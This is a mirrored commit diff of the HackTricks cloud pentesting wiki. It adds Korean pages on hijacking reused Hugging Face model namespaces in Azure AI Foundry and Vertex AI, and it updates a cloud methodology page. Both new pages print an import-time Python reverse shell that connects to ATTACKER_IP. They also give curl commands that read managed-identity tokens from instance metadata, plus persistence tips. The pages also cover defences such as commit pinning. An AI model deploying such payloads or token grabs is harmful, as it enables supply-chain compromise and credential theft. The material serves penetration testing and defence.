mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 시나리오
|
||||
|
||||
- Azure AI Foundry Model Catalog에는 원클릭 배포를 위한 많은 Hugging Face (HF) 모델이 포함되어 있습니다.
|
||||
- HF 모델 식별자는 Author/ModelName입니다. HF author/org가 삭제되면 누구든지 해당 author를 재등록하고 같은 ModelName으로 레거시 경로에 모델을 게시할 수 있습니다.
|
||||
- 이름만으로 가져오는 pipelines 및 catalogs(커밋 핀ning/무결성 검증 없음)는 공격자 제어 저장소로 해석될 수 있습니다. Azure가 모델을 배포하면 loader code가 endpoint 환경에서 실행되어 해당 endpoint의 권한으로 RCE를 획득할 수 있습니다.
|
||||
|
||||
일반적인 HF takeover 사례:
|
||||
- Ownership deletion: 이전 경로가 takeover 전까지 404가 됩니다.
|
||||
- Ownership transfer: 기존 author가 존재하는 동안 이전 경로가 새 author로 307 리다이렉트됩니다. 이후 기존 author가 삭제되고 재등록되면 리다이렉트가 깨지고 공격자의 repo가 레거시 경로에서 제공됩니다.
|
||||
|
||||
## 재사용 가능한 네임스페이스(HF) 식별
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
|
||||
# Check model path
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## Azure AI Foundry에 대한 엔드투엔드 공격 흐름
|
||||
|
||||
1) Model Catalog에서 HF에서 원저자가 삭제되었거나 이전되어(기존 작성자 제거) 방치된 HF 모델을 찾습니다.
|
||||
2) HF에서 방치된 작성자를 재등록하고 ModelName을 재생성합니다.
|
||||
3) import 시 실행되거나 trust_remote_code=True가 필요한 로더 코드를 포함한 악성 repo를 게시합니다.
|
||||
4) Azure AI Foundry에서 레거시 Author/ModelName을 배포합니다. 플랫폼이 공격자 repo를 가져오면 로더가 Azure endpoint의 container/VM 내부에서 실행되어 endpoint 권한으로 RCE를 획득합니다.
|
||||
|
||||
예시 페이로드 조각 (import 시 실행됨, 시연용):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
참고
|
||||
- AI Foundry가 HF와 통합된 deployments는 일반적으로 모델의 config에서 참조되는 repo 모듈을 clone하고 import하며(예: auto_map), 이는 코드 실행을 유발할 수 있습니다. 일부 경로는 trust_remote_code=True가 필요합니다.
|
||||
- 접근 권한은 보통 endpoint의 managed identity/service principal 권한과 일치합니다. 이를 Azure 내 데이터 접근 및 lateral movement를 위한 초기 foothold로 간주하세요.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- 환경 변수와 MSI endpoints에서 토큰을 열거하세요:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- 획득한 token으로 마운트된 스토리지, 모델 아티팩트 및 접근 가능한 Azure 서비스를 확인하세요.
|
||||
- 플랫폼이 HF에서 다시 pull할 경우를 대비해 persistence를 위해 오염된 모델 아티팩트를 남기는 것을 고려하세요.
|
||||
|
||||
## Azure AI Foundry 사용자용 방어 지침
|
||||
|
||||
- HF에서 로드할 때 commit으로 모델을 Pin하세요:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 검증된 HF 모델을 신뢰되는 내부 레지스트리에 미러링한 후 거기서 배포합니다.
|
||||
- codebases와 defaults/docstrings/notebooks를 지속적으로 스캔하여 삭제되거나 이전된 하드코딩된 Author/ModelName을 찾아 업데이트하거나 고정(pin)합니다.
|
||||
- 배포 전에 author 존재 여부와 모델 출처(provenance)를 검증합니다.
|
||||
|
||||
## 인식 휴리스틱 (HTTP)
|
||||
|
||||
- Deleted author: author 페이지 404; 레거시 모델 경로는 인수 전까지 404.
|
||||
- Transferred model: 레거시 경로가 기존 author가 존재하는 동안 새로운 author로 307 리다이렉트됨; 이후 기존 author가 삭제되고 재등록되면 레거시 경로가 공격자 콘텐츠를 제공함.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 교차 참조
|
||||
|
||||
- 더 광범위한 방법론 및 공급망 관련 노트를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,3 +1,9 @@
|
||||
# GCP - 포스트 익스플로잇
|
||||
# GCP - 포스트 익스플로이테이션
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 시나리오
|
||||
|
||||
- Vertex AI Model Garden은 많은 Hugging Face (HF) 모델을 직접 배포할 수 있습니다.
|
||||
- HF 모델 식별자는 Author/ModelName입니다. HF의 author/org가 삭제되면 동일한 author 이름을 누구나 재등록할 수 있습니다. 공격자는 그런 다음 legacy path에 동일한 ModelName으로 repo를 생성할 수 있습니다.
|
||||
- 이름만으로(pinning이나 무결성 검증 없이) 가져오는 Pipelines, SDKs, 또는 cloud catalogs는 공격자 제어의 repo를 가져옵니다. 모델이 배포되면 해당 repo의 loader code가 Vertex AI endpoint 컨테이너 내부에서 실행되어 endpoint의 권한으로 RCE를 발생시킬 수 있습니다.
|
||||
|
||||
HF에서 흔한 두 가지 takeover 사례:
|
||||
- 소유권 삭제(Ownership deletion): 이전 경로가 404를 반환하며 누군가 author를 재등록하고 동일한 ModelName을 게시할 때까지 404 상태입니다.
|
||||
- 소유권 이전(Ownership transfer): HF는 이전 Author/ModelName에서 새 소유자에게 307 리다이렉트를 발행합니다. 이후 이전 author가 삭제되고 공격자가 재등록하면 리다이렉트 체인이 깨지며 공격자의 repo가 legacy path에서 제공됩니다.
|
||||
|
||||
## 재사용 가능한 네임스페이스 파악 (HF)
|
||||
|
||||
- 이전 author가 삭제된 경우: author 페이지가 404를 반환합니다; 모델 경로는 takeover가 발생할 때까지 404를 반환할 수 있습니다.
|
||||
- 이전에 이전된 모델(Transferred models): 이전 모델 경로는 이전 author가 존재하는 동안 새 소유자에게 307을 발행합니다. 이후 이전 author가 삭제되고 재등록되면 legacy path가 공격자의 repo로 해석됩니다.
|
||||
|
||||
curl로 빠르게 확인:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Vertex AI에 대한 엔드 투 엔드 공격 흐름
|
||||
|
||||
1) Model Garden에서 'deployable'로 표시된 재사용 가능한 모델 네임스페이스를 찾는다:
|
||||
- Vertex AI Model Garden에서 여전히 “verified deployable”로 표시되는 HF 모델을 찾는다.
|
||||
- HF에서 원래 작성자가 삭제되었는지, 또는 모델이 transferred되어 이전 작성자가 이후에 제거되었는지 확인한다.
|
||||
|
||||
2) 삭제된 작성자를 HF에 다시 등록하고 동일한 ModelName을 재생성한다.
|
||||
|
||||
3) 악성 repo를 게시한다. 모델 로드 시 실행되는 코드를 포함시킨다. HF 모델 로드 중 흔히 실행되는 예:
|
||||
- repo의 __init__.py에 있는 부작용
|
||||
- config/auto_map에서 참조되는 custom modeling_*.py 또는 처리 코드
|
||||
- Transformers 파이프라인에서 trust_remote_code=True를 필요로 하는 코드 경로
|
||||
|
||||
4) 레거시 Author/ModelName의 Vertex AI 배포가 이제 공격자 repo를 가져온다. 로더는 Vertex AI endpoint 컨테이너 내부에서 실행된다.
|
||||
|
||||
5) 페이로드는 endpoint 환경에서(RCE) endpoint의 권한으로 접근을 확보한다.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
참고
|
||||
- 실제 로더는 다양합니다. 많은 Vertex AI HF 통합은 모델의 config에 참조된 repo 모듈(예: auto_map)을 clone 및 import하며, 이는 code execution을 유발할 수 있습니다. 일부 사용 사례에서는 trust_remote_code=True가 필요합니다.
|
||||
- endpoint는 일반적으로 제한된 범위의 전용 컨테이너에서 실행되지만, 데이터 접근 및 GCP 내 횡적 이동을 위한 유효한 초기 발판이 될 수 있습니다.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- 자격증명/토큰을 위해 환경 변수와 메타데이터 열거
|
||||
- 연결된 스토리지 또는 마운트된 모델 아티팩트에 접근
|
||||
- 서비스 계정 신원으로 Google APIs와 상호작용 (Document AI, Storage, Pub/Sub 등)
|
||||
- 플랫폼이 repo를 다시 pull하면 모델 아티팩트에 지속성 확보
|
||||
|
||||
접근 가능하면 인스턴스 메타데이터를 열거하세요 (컨테이너에 따라 다름):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI 사용자를 위한 방어 지침
|
||||
|
||||
- HF loaders에서 commit 단위로 모델을 Pin하여 알림 없이 교체되는 것을 방지하세요:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 검증된 HF 모델을 신뢰할 수 있는 내부 아티팩트 스토어/레지스트리에 미러링하고 그곳에서 배포하세요.
|
||||
- 코드베이스와 configs를 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 새 네임스페이스로 업데이트하거나 커밋으로 고정하세요.
|
||||
- Model Garden에서 배포 전에 모델 출처와 작성자 존재 여부를 확인하세요.
|
||||
|
||||
## 인식 휴리스틱 (HTTP)
|
||||
|
||||
- 삭제된 작성자: 작성자 페이지 404; 인수(takeover) 전까지 이전(legacy) 모델 경로가 404를 반환합니다.
|
||||
- 이전된 모델: 이전(legacy) 경로가 기존 작성자가 존재하는 동안 새 작성자로 307(리다이렉트)됨; 만약 기존 작성자가 이후 삭제되고 재등록되면 이전 경로가 공격자 콘텐츠를 제공할 수 있습니다.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 교차 참조
|
||||
|
||||
- 더 광범위한 방법론 및 공급망 관련 메모를 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,44 +1,44 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting 클라우드 방법론
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Basic Methodology
|
||||
## 기본 방법론
|
||||
|
||||
각 클라우드는 고유한 특성을 가지고 있지만, 일반적으로 클라우드 환경을 테스트할 때 **펜테스터가 확인해야 할 몇 가지 공통 사항**이 있습니다:
|
||||
각 클라우드마다 특성이 다르지만 일반적으로 클라우드 환경을 테스트할 때 **pentester가 점검해야 할 몇 가지 공통 항목**이 있습니다:
|
||||
|
||||
- **벤치마크 체크**
|
||||
- 이는 **환경의 크기**와 **사용되는 서비스**를 이해하는 데 도움이 됩니다.
|
||||
- 또한 **자동화 도구**를 사용하여 대부분의 테스트를 수행할 수 있으므로 일부 **빠른 잘못된 구성**을 찾을 수 있습니다.
|
||||
- **벤치마크 점검**
|
||||
- 이는 환경의 **규모**와 **사용 중인 서비스**를 파악하는 데 도움이 됩니다
|
||||
- 대부분의 테스트를 **자동화 도구**로 수행할 수 있으므로 일부 **빠른 구성 오류**를 찾는 데에도 도움이 됩니다
|
||||
- **서비스 열거**
|
||||
- 벤치마크 테스트를 올바르게 수행했다면 여기에서 더 이상 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 못한 일부를 발견할 수 있습니다.
|
||||
- 이는 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있게 해줍니다.
|
||||
- 이는 다음 단계에서 많은 도움이 됩니다.
|
||||
- 벤치마크 테스트를 제대로 수행했다면 여기서 더 많은 구성 오류를 찾지 못할 가능성이 높지만, 벤치마크에서 확인하지 않았던 일부 오류를 찾을 수 있습니다.
|
||||
- 이를 통해 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있습니다
|
||||
- 다음 단계에서 많은 도움이 됩니다
|
||||
- **노출된 자산 확인**
|
||||
- 이는 이전 섹션에서 수행할 수 있으며, **인터넷에 잠재적으로 노출된 모든 것**과 어떻게 접근할 수 있는지를 **찾아야** 합니다.
|
||||
- 여기서는 **수동으로 노출된 인프라**(웹 페이지가 있는 인스턴스나 다른 포트가 노출된 경우)와 **노출되도록 구성할 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해 다룹니다.
|
||||
- 그런 다음 **해당 리소스가 노출될 수 있는지 여부**를 확인해야 합니다(기밀 정보? 취약점? 노출된 서비스의 잘못된 구성?).
|
||||
- 이 작업은 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 식으로든 **잠재적으로 노출될 수 있는 모든 것**과 그것이 어떻게 접근될 수 있는지를 찾아야 합니다.
|
||||
- 여기서는 인스턴스(웹 페이지 또는 다른 포트가 노출된 경우)와 같이 **수동으로 노출된 인프라**와 노출되도록 구성될 수 있는 다른 **클라우드 관리형 서비스**(예: DBs 또는 buckets)를 다룹니다
|
||||
- 그런 다음 해당 리소스가 실제로 **노출될 수 있는지 여부**를 확인해야 합니다(민감한 정보인가? 취약점이 있는가? 노출된 서비스의 구성 오류인가?)
|
||||
- **권한 확인**
|
||||
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한을 찾아야** 하며, 그것들이 어떻게 사용되는지를 확인해야 합니다.
|
||||
- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 생성된 키가 사용되지 않습니까?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다.
|
||||
- 클라이언트가 OpenID 또는 SAML 또는 다른 **연합**을 사용하고 있다면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수 있습니다(관리자 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 다릅니다).
|
||||
- **관리자** 권한 "\*:\*"을 가진 사용자를 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감할 수 있는** **다른 권한**이 많이 있습니다.
|
||||
- 게다가, 권한을 남용하여 **잠재적인 권한 상승** 방법이 있습니다. 이러한 모든 사항을 고려해야 하며, 가능한 한 많은 권한 상승 경로를 보고해야 합니다.
|
||||
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한이 무엇인지**와 그것들이 어떻게 사용되는지를 찾아야 합니다
|
||||
- 너무 **권한이 높은 계정**(모든 것을 제어하는 계정)이 너무 많은가? 생성된 키가 사용되지 않고 있는가?... 이러한 대부분의 점검은 이미 벤치마크 테스트에서 수행되었어야 합니다
|
||||
- 클라이언트가 OpenID나 SAML 또는 다른 **페더레이션**을 사용 중이라면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수도 있습니다(관리자 역할이 1명에게 할당된 것과 100명에게 할당된 것은 다릅니다)
|
||||
- 사용자가 "*:\*"와 같은 **admin** 권한을 가지고 있는지를 찾는 것만으로는 충분하지 않습니다. 사용 중인 서비스에 따라 매우 **민감한** 많은 **다른 권한들**이 존재합니다.
|
||||
- 또한 권한을 남용하여 진행할 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 것을 고려하여 가능한 한 많은 **privesc 경로**가 보고되어야 합니다.
|
||||
- **통합 확인**
|
||||
- 클라우드 환경 내에서 **다른 클라우드 또는 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다.
|
||||
- 감사 중인 클라우드의 **통합**에 대해, **그 통합을 (남용할) 수 있는 접근 권한이 있는 사람**을 알려야 하며, 수행되는 작업이 **얼마나 민감한지**를 물어봐야 합니다.\
|
||||
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 쓸 수 있는 사람은 누구인지(그 데이터 처리에서 GCP의 작업이 얼마나 민감한지 물어보세요).
|
||||
- 감사 중인 클라우드 내에서 **외부 플랫폼의 통합**에 대해, **그 통합을 (남용할) 수 있는 외부 접근 권한이 있는 사람**을 물어보고, 해당 데이터가 어떻게 사용되고 있는지를 확인해야 합니다.\
|
||||
예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하는 경우, 이를 수정할 수 있는 사람과 AWS 클라우드 내에서 실행될 때 해당 이미지가 어떤 민감한 정보와 접근 권한을 가지는지 물어봐야 합니다.
|
||||
- 클라우드 환경 내부에서 **다른 클라우드나 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다.
|
||||
- 감사 중인 클라우드가 다른 플랫폼과 통합된 경우, 누가 그 통합을 (남용)할 수 있는지 **누가 접근 권한을 가지고 있는지** 알리고, 수행되는 작업이 **얼마나 민감한지** 물어봐야 합니다.\
|
||||
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓰기 권한이 있는지(해당 데이터를 GCP에서 처리할 때 작업이 얼마나 민감한지 물어보세요).
|
||||
- 감사 중인 클라우드 내부로 외부 플랫폼에서 통합되어 있는 경우, 그 통합을 외부에서 (남용)할 수 있는 **누가 접근 권한을 가지고 있는지** 물어보고 해당 데이터가 어떻게 사용되는지 확인해야 합니다.\
|
||||
예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용하고 있다면, 누가 그것을 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내부에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻는지 물어봐야 합니다.
|
||||
|
||||
## Multi-Cloud tools
|
||||
## 다중 클라우드 도구
|
||||
|
||||
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다.
|
||||
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 도구들이 있습니다. 설치 단계와 링크는 이 섹션에 표시됩니다.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
클라우드 및 클라우드/SaaS 간의 **잘못된 구성 및 권한 상승 경로를 식별하는 도구**입니다.
|
||||
클라우드 및 클라우드/SaaS 간의 잘못된 구성과 privesc 경로를 **식별하는 도구**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
**AWS, GCP 및 Azure**를 지원합니다. 각 공급자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
|
||||
다음 플랫폼을 지원합니다: **AWS, GCP & Azure**. 각 제공자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -91,7 +91,7 @@ prowler <provider> --list-services
|
||||
AWS, Azure, Github, Google, Oracle, Alibaba
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="설치" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/aquasecurity/cloudsploit.git
|
||||
@@ -146,7 +146,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
Steampipe를 다운로드하고 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
|
||||
Steampipe를 다운로드하여 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -170,7 +170,7 @@ steampipe check all
|
||||
|
||||
<summary>모든 프로젝트 확인</summary>
|
||||
|
||||
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 나타내는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
|
||||
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
다른 **GCP 인사이트**를 확인하려면 (서비스 열거에 유용함): [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
다음을 사용해 **다른 GCP 인사이트** (서비스 열거에 유용)를 확인하세요: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Terraform AWS 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Steampipe의 더 많은 AWS 플러그인: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
python2.7이 필요하며 유지 관리가 되지 않는 것처럼 보입니다.
|
||||
python2.7이 필요하며 유지보수되지 않는 것으로 보입니다.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus는 AWS, Azure, Office 365, Rackspace, Salesforce를 지원하는 _**클라우드 인프라 감사**_ 스캔을 제공합니다. **Client Id**를 얻기 위해 **Azure**에서 추가 구성이 필요합니다.
|
||||
Nessus에는 _**Audit Cloud Infrastructure**_ 스캔이 있어 다음을 지원합니다: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻으려면 몇 가지 추가 구성이 필요합니다.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오기 위한 **다중 클라우드 도구**입니다.
|
||||
Cloudlist는 Cloud Providers로부터 (Hostnames, IP Addresses) 같은 Assets를 수집하는 **multi-cloud tool for getting Assets**입니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography는 Neo4j 데이터베이스에 의해 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다.
|
||||
Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 인프라 자산과 자산 간의 관계를 통합하는 Python 도구입니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등 서비스와 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
|
||||
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등을 포함한 서비스 및 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 의해 지원되는 직관적인 그래프 뷰로 통합합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
스캔된 AWS 또는 Azure 환경에서 가장 특권이 있는 사용자, AWS Shadow Admins를 포함하여 발견합니다. PowerShell을 사용합니다.
|
||||
스캔된 AWS 또는 Azure 환경에서 AWS Shadow Admins를 포함한 가장 권한이 높은 사용자를 찾아냅니다. powershell을 사용합니다.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
회사의 (대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(아마존, 구글, 마이크로소프트, 디지털오션, 알리바바, 벌트르, 리노드)에서 찾기 위한 도구입니다.
|
||||
회사의(대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아내는 도구.
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다(현재 AWS 및 Azure만 지원하며 GCP는 곧 지원 예정).
|
||||
- 수동 펜테스팅을 보완하기 위한 열거 도구입니다.
|
||||
- 클라우드 환경 내에서 데이터를 생성하거나 수정하지 않습니다.
|
||||
- CloudFox는 클라우드 인프라에서 악용 가능한 attack paths를 찾는 도구입니다 (현재는 AWS & Azure만 지원하며 GCP는 곧 지원 예정).
|
||||
- 이는 수동 pentesting을 보완하기 위한 enumeration tool입니다.
|
||||
- 클라우드 환경 내의 데이터를 생성하거나 수정하지 않습니다.
|
||||
|
||||
### 클라우드 보안 도구 목록 더 보기
|
||||
### More lists of cloud security tools
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -412,10 +412,10 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
